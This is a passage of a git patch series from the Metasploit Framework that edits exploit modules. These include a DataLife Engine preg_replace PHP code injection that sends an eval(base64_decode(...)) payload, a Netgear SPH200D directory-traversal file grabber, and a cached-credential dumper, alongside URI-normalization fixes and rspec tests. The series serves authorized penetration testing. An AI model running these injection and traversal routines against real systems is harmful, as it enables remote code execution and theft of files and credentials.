'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//" + } + }) + + if res and res.code == 200 and res.body =~ /#{fingerprint}/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def exploit + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") + res = send_request_cgi( + { + 'uri' => "#{base}/engine/preview.php", + 'method' => 'POST', + 'vars_post' => + { + 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//" + } + }) + end +end From b2ce9302c6258438880c0d5a71455bd0c2d2e34f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 31 Jan 2013 16:59:49 +0100 Subject: [PATCH 078/129] uri normalization in the old way --- modules/exploits/unix/webapp/datalife_preview_exec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index 2d3a1398ff..6a120a8a31 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote def base base = normalize_uri(target_uri.path) + base << '/' if base[-1, 1] != '/' return base end @@ -62,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote fingerprint = rand_text_alpha(4+rand(4)) res = send_request_cgi( { - 'uri' => "#{base}/engine/preview.php", + 'uri' => "#{base}engine/preview.php", 'method' => 'POST', 'vars_post' => { @@ -83,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") res = send_request_cgi( { - 'uri' => "#{base}/engine/preview.php", + 'uri' => "#{base}engine/preview.php", 'method' => 'POST', 'vars_post' => { From 4d7daacfb42ff2f38c0fbcea64307dae74510d03 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 11:55:11 -0600 Subject: [PATCH 079/129] I wanna know where it's stored --- modules/post/windows/gather/cachedump.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index a6299a173b..5795220174 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -524,11 +524,13 @@ class Metasploit3 < Msf::Post if( @vista == 1 ) print_status("Hash are in MSCACHE_VISTA format. (mscash2)") - store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials") + p = store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials") + print_status("MSCACHE v2 saved in: #{p}") else print_status("Hash are in MSCACHE format. (mscash)") - store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials") + p = store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials") + print_status("MSCACHE v1 saved in: #{p}") end rescue ::Interrupt From 5332e80ae940f9f59371ebe42829c71a2fe48640 Mon Sep 17 00:00:00 2001 From: egypt Date: Thu, 31 Jan 2013 14:18:42 -0600 Subject: [PATCH 080/129] Fix errant use of .to_s instead of .path --- .../scanner/http/apache_activemq_source_disclosure.rb | 2 +- .../scanner/http/atlassian_crowd_fileaccess.rb | 4 ++-- modules/auxiliary/scanner/http/dolibarr_login.rb | 2 +- modules/auxiliary/scanner/http/glassfish_login.rb | 2 +- modules/auxiliary/scanner/http/vcms_login.rb | 2 +- modules/exploits/multi/http/php_cgi_arg_injection.rb | 4 +--- .../windows/http/php_apache_request_headers_bof.rb | 2 +- .../windows/http/sonicwall_scrutinizer_sqli.rb | 2 +- modules/exploits/windows/http/sysax_create_folder.rb | 10 +++++----- .../exploits/windows/mysql/scrutinizer_upload_exec.rb | 2 +- 10 files changed, 15 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index 6f1ada9d10..18d2d942ab 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{rhost}:#{rport} - Sending request...") - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index e94787a50a..d3e7d5f4ec 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -57,7 +57,7 @@ class Metasploit4 < Msf::Auxiliary end def run_host(ip) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET'}) @@ -71,7 +71,7 @@ class Metasploit4 < Msf::Auxiliary end def accessfile(rhost) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface") soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 97a97ae75d..dfbaca5d16 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index a48c352431..a58f98fb73 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Auxiliary #Get GlassFish version edition, version, banner = get_version(res) - path = normalize_uri(target_uri) + path = normalize_uri(target_uri.path) target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" print_status("#{target_url} - GlassFish - Attempting authentication") diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 7afdc7e61d..a4fe31dba2 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -108,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 2f45fc7602..a245a3cd45 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -96,11 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote ] qs = args.join() - uri = normalize_uri(target_uri) + uri = normalize_uri(target_uri.path) uri = "#{uri}?#{qs}" - #print_status("URI: #{target_uri}?#{qs}") # Uncomment to preview URI - # Has to be all on one line, so gsub out the comments and the newlines payload_oneline = " normalize_uri(target_uri.to_s), + 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index c73b3b2499..e38a0979c8 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.host)}) + res = send_request_raw({'uri'=>normalize_uri(target_uri.path)}) if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index 9d43164587..1e678f874d 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -126,12 +126,12 @@ class Metasploit3 < Msf::Exploit::Remote pass = datastore['SysaxPASS'] creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}" - uri = target_uri.to_s + uri = target_uri.path # Login to get SID value r = send_request_cgi({ 'method' => "POST", - 'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"), - 'data' => creds + 'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"), + 'data' => creds }) # Parse response for SID token @@ -146,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote # Find the path because it's used to help calculate the offset random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir - uri normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"), 'method' => 'POST', @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote post_data = Rex::MIME::Message.new post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"") post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669" - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"), 'method' => 'POST', diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 641783f5a3..e1f1e50943 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote def check tmp_rport = datastore['RPORT'] - uri = normalize_uri(target_uri.host) + uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' datastore['RPORT'] = datastore['HTTPPORT'] res = send_request_raw({'uri'=>uri}) From 1a01d6d033acd8522d6eb216c4ae8c7ed5f1f8fa Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 14:48:54 -0600 Subject: [PATCH 081/129] Fix scrutinizer checks --- modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb | 2 +- modules/exploits/windows/mysql/scrutinizer_upload_exec.rb | 4 +--- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index e38a0979c8..34857f9f84 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.path)}) + res = send_request_raw({'uri'=>'/'}) # Check the base path for version regex if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index e1f1e50943..135132c9b6 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -72,10 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote def check tmp_rport = datastore['RPORT'] - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' datastore['RPORT'] = datastore['HTTPPORT'] - res = send_request_raw({'uri'=>uri}) + res = send_request_raw({'uri'=>'/'}) #Check the base path for regex datastore['RPORT'] = tmp_rport if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/ From 39cdb89831e1c4005a0951a44cde75a17612c1e2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 15:04:13 -0600 Subject: [PATCH 082/129] Oh don't be so sensitive about it. Fixnum vs String --- modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index b677c87763..e03844bf80 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary "uri" => user_url, "method" => "GET", "vars_get" => { - "author" => user_id + "author" => user_id.to_s } }) From 9d4bc6bb895f716cf57e348f16bb37323ce81713 Mon Sep 17 00:00:00 2001 From: egypt Date: Thu, 31 Jan 2013 15:29:30 -0600 Subject: [PATCH 083/129] Restructure a bit and add checks for doubled '//' --- spec/lib/msf/core/exploit/http/client_spec.rb | 133 ++++++++++-------- 1 file changed, 78 insertions(+), 55 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index d32ce9e122..93180d3a5a 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -11,7 +11,7 @@ describe Msf::Exploit::Remote::HttpClient do mod end - context 'normalize_uri' do + describe '#normalize_uri' do let(:expected_normalized_uri) do '/a/b/c' end @@ -20,6 +20,20 @@ describe Msf::Exploit::Remote::HttpClient do subject.normalize_uri(unnormalized_uri) end + context "with just '/'" do + let(:unnormalized_uri) do + '/' + end + + it "should be '/'" do + unnormalized_uri.should == '/' + end + + it "should return '/'" do + normalized_uri.should == '/' + end + end + context "with starting '/'" do let(:unnormalized_uri) do expected_normalized_uri @@ -30,7 +44,17 @@ describe Msf::Exploit::Remote::HttpClient do end it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == expected_normalized_uri + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end context "with multiple starting '/'" do @@ -48,39 +72,25 @@ describe Msf::Exploit::Remote::HttpClient do end context "with trailing '/'" do - let(:unnormalized_uri) do - "#{expected_normalized_uri}/" + let(:expected_normalized_uri) do + '/a/b/c/' end - it "should end with '/'" do - unnormalized_uri[-1, 1].should == '/' + let(:unnormalized_uri) do + "#{expected_normalized_uri}/" end it "should end with '/'" do normalized_uri[-1, 1].should == '/' end - context "with just '/'" do + context "with multiple trailing '/'" do let(:unnormalized_uri) do - '/' + "#{expected_normalized_uri}/" end - it "should be '/'" do - unnormalized_uri.should == '/' - end - - it "should return '/'" do - normalized_uri.should == '/' - end - end - - context "with multiple multiple trailing '/'" do - let(:unnormalized_uri) do - "#{expected_normalized_uri}" - end - - it "should have single trailing '/'" do - unnormalized_uri[-2,1].should == '/' + it "should have multiple trailing '/'" do + unnormalized_uri[-2,2].should == '//' end it "should return only one trailing '/'" do @@ -105,16 +115,15 @@ describe Msf::Exploit::Remote::HttpClient do end context "without starting '/'" do - let(:unnormalized_uri) do - 'a/b/c' - end - context "with trailing '/'" do let(:unnormalized_uri) do 'a/b/c/' end + let(:expected_normalized_uri) do + '/a/b/c/' + end - it "'should have trailing '/'" do + it "should have trailing '/'" do unnormalized_uri[-1, 1].should == '/' end @@ -122,17 +131,31 @@ describe Msf::Exploit::Remote::HttpClient do normalized_uri[0, 1].should == '/' end - it "'should not remove trailing '/'" do + it "should not remove trailing '/'" do normalized_uri[-1, 1].should == '/' end it 'should normalize the uri' do - normalized_uri.should == "#{expected_normalized_uri}/" + normalized_uri.should == "#{expected_normalized_uri}" + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end end context "without trailing '/'" do - it "'should not have trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c' + end + + it "should not have trailing '/'" do unnormalized_uri[-1, 1].should_not == '/' end @@ -143,35 +166,35 @@ describe Msf::Exploit::Remote::HttpClient do it "should add trailing '/'" do normalized_uri[-1, 1].should_not == '/' end + end + end - context 'with empty string' do - let(:unnormalized_uri) do - '' - end + context 'with empty string' do + let(:unnormalized_uri) do + '' + end - it "should be empty" do - unnormalized_uri.should be_empty - end + it "should be empty" do + unnormalized_uri.should be_empty + end - it "should return '/'" do - normalized_uri.should == '/' - end - end + it "should return '/'" do + normalized_uri.should == '/' + end + end - context 'with nil' do - let(:unnormalized_uri) do - nil - end + context 'with nil' do + let(:unnormalized_uri) do + nil + end - it 'should be nil' do - unnormalized_uri.should be_nil - end + it 'should be nil' do + unnormalized_uri.should be_nil + end - it "should return '/" do - normalized_uri.should == '/' - end - end + it "should return '/" do + normalized_uri.should == '/' end end end -end \ No newline at end of file +end From de8572d934fe21eebb5b9cdd3ae00386307f77a0 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 16:57:48 -0600 Subject: [PATCH 084/129] Use normalize_uri for URI --- modules/exploits/unix/webapp/datalife_preview_exec.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index 6a120a8a31..e1339f1313 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -53,17 +53,15 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def base - base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' - return base + def uri + normalize_uri(target_uri.path, 'engine', 'preview.php') end def check fingerprint = rand_text_alpha(4+rand(4)) res = send_request_cgi( { - 'uri' => "#{base}engine/preview.php", + 'uri' => uri, 'method' => 'POST', 'vars_post' => { @@ -84,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") res = send_request_cgi( { - 'uri' => "#{base}engine/preview.php", + 'uri' => uri, 'method' => 'POST', 'vars_post' => { From bf7bb9952e5ef3c41cbfdbc6dbe8de1b3301c04b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 11:53:42 +0100 Subject: [PATCH 085/129] added template stuff improve --- .../unix/webapp/datalife_preview_exec.rb | 34 ++++++++++--------- 1 file changed, 18 insertions(+), 16 deletions(-) diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index e1339f1313..7497dd6f9b 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -18,8 +18,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a PHP code injection vulnerability DataLife Engine 9.7. The vulnerability exists in preview.php, due to an insecure usage of preg_replace() - with the e modifier, which allows to inject arbitrary php code, when the template - in use contains a [catlist] or [not-catlist] tag. + with the e modifier, which allows to inject arbitrary php code, when there is a + template installed which contains a [catlist] or [not-catlist] tag, even when the + template isn't in use currently. The template can be configured with the TEMPLATE + datastore option. }, 'Author' => [ @@ -49,7 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]), + OptString.new('TEMPLATE', [ true, "Template with catlist or not-catlit tag", "Default"]) ], self.class) end @@ -57,17 +60,24 @@ class Metasploit3 < Msf::Exploit::Remote normalize_uri(target_uri.path, 'engine', 'preview.php') end - def check - fingerprint = rand_text_alpha(4+rand(4)) + def send_injection(inj) res = send_request_cgi( { 'uri' => uri, 'method' => 'POST', 'vars_post' => { - 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//" - } + 'catlist[0]' => inj + }, + 'cookie' => "dle_skin=#{datastore['TEMPLATE']}" }) + res + end + + def check + fingerprint = rand_text_alpha(4+rand(4)) + + res = send_injection("#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//") if res and res.code == 200 and res.body =~ /#{fingerprint}/ return Exploit::CheckCode::Vulnerable @@ -80,14 +90,6 @@ class Metasploit3 < Msf::Exploit::Remote @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") - res = send_request_cgi( - { - 'uri' => uri, - 'method' => 'POST', - 'vars_post' => - { - 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//" - } - }) + res = send_injection("#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//") end end From 0e22ee73b557197011c931061ee44240c1c1a6a1 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 1 Feb 2013 19:26:34 +0100 Subject: [PATCH 086/129] updates ... --- .../admin/http/netgear_sph200d_traversal.rb | 134 +++++++++--------- 1 file changed, 67 insertions(+), 67 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index dde5408996..d9a0a23fd8 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -1,7 +1,3 @@ -## -# $Id: tomcat_utf8_traversal.rb 14975 2012-03-18 01:39:05Z rapid7 $ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -14,13 +10,11 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Netgear SPH200D - Directory Traversal Vulnerability', - 'Version' => '$$', 'Description' => %q{ This module exploits a directory traversal vulnerablity which is present in Netgear SPH200D Skype telephone @@ -35,45 +29,58 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE ) - register_options( [ Opt::RPORT(80), - OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", + OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), OptString.new('USERNAME',[ true, 'User to login with', 'admin']), OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), - ], self.class) end def extract_words(wordfile) - return [] unless wordfile && File.readable?(wordfile) - begin - words = File.open(wordfile, "rb") do |f| - f.read - end - rescue - return [] - end - save_array = words.split(/\r?\n/) - return save_array + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read + end + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array end - def find_files(files,user,pass) + #traversal every file + def find_files(file,user,pass) traversal = '/../..' - res = send_request_raw( - { - 'method' => 'GET', - 'uri' => traversal << files, - 'basic_auth' => "#{user}:#{pass}" + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => traversal << file, + 'basic_auth' => "#{user}:#{pass}" + }) + + if (res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/) + print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}! Response: \r\n #{res.body}") + report_web_vuln({ + :host => rhost, + :port => rport, + :vhost => datastore['VHOST'], + :path => traversal << file, + :pname => traversal, + :risk => 3, + :proof => traversal, + :name => self.fullname, + :category => "web", + :method => "GET" }) - if (res and res.code == 200) - print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n") - print_status("#{res.body}") + + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) + print_good("File #{file} downloaded to: #{loot}") elsif (res and res.code) - vprint_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}") + vprint_error("Attempt returned HTTP error #{res.code} and Body #{res.body} on #{rhost}:#{rport}:file->#{file}") end end @@ -85,50 +92,43 @@ class Metasploit3 < Msf::Auxiliary pass = datastore['PASSWORD'] end - print_status("Trying to login with #{user} / #{pass}") - - begin - res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - end - - return :abort if (res.code == 404) - - if [200, 301, 302].include?(res.code) - print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - else - print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") - return :abort - end - - rescue ::Rex::ConnectionError - vprint_error("Failed to connect to the web server") - return :abort - end - + print_status("Trying to login with #{user} / #{pass}") + + #test login begin - print_status("Attempting to connect to #{rhost}:#{rport}") - res = send_request_raw( - { + res = send_request_cgi({ + 'uri' => '/', 'method' => 'GET', - 'uri' => '/', 'basic_auth' => "#{user}:#{pass}" - }) + }) - if (res) - extract_words(datastore['SENSITIVE_FILES']).each do |files| - find_files(files,user,pass) unless files.empty? - end + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + vprint_good("Successful login: #{user} : #{pass} on #{rhost}:#{rport}") + else + vprint_error("No successful login possible. #{user} : #{pass} on #{rhost}:#{rport}") + return :abort end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Rex::ConnectionError + vprint_error("Failed to connect to the web server") + return :abort + end + + begin + vprint_status("Attempting to connect to #{rhost}:#{rport}") + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) + if (res) + extract_words(datastore['FILELIST']).each do |file| + find_files(file,user,pass) unless file.empty? + end + end + end end end From fdd5fe77c12917b3264f95f44d8f451af90fd95c Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 1 Feb 2013 19:59:19 +0100 Subject: [PATCH 087/129] more updates ... --- .../admin/http/netgear_sph200d_traversal.rb | 21 +++---------------- 1 file changed, 3 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index d9a0a23fd8..693bc5cf13 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -86,11 +86,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) user = datastore['USERNAME'] - if datastore['PASSWORD'].nil? - pass = "" - else - pass = datastore['PASSWORD'] - end + pass = datastore['PASSWORD'] print_status("Trying to login with #{user} / #{pass}") @@ -116,19 +112,8 @@ class Metasploit3 < Msf::Auxiliary return :abort end - begin - vprint_status("Attempting to connect to #{rhost}:#{rport}") - res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) - if (res) - extract_words(datastore['FILELIST']).each do |file| - find_files(file,user,pass) unless file.empty? - end - end - + extract_words(datastore['FILELIST']).each do |file| + find_files(file,user,pass) unless file.empty? end end end From 988761a6dea9018955f65fec9652ba47126ebf2e Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 1 Feb 2013 20:18:53 +0100 Subject: [PATCH 088/129] more updates, BID, Exploit-DB --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 693bc5cf13..1bf1be8c33 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Auxiliary [ [ 'URL', 'http://support.netgear.com/product/SPH200D' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ], + [ 'BID', '57660' ], + [ 'EDB', '24441' ], ], 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE @@ -63,7 +65,8 @@ class Metasploit3 < Msf::Auxiliary }) if (res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/) - print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}! Response: \r\n #{res.body}") + print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}!") + vprint_status("Response: \r\n #{res.body}") report_web_vuln({ :host => rhost, :port => rport, @@ -99,6 +102,7 @@ class Metasploit3 < Msf::Auxiliary }) return :abort if (res.code == 404) + return :abort if res.nil? if [200, 301, 302].include?(res.code) vprint_good("Successful login: #{user} : #{pass} on #{rhost}:#{rport}") From 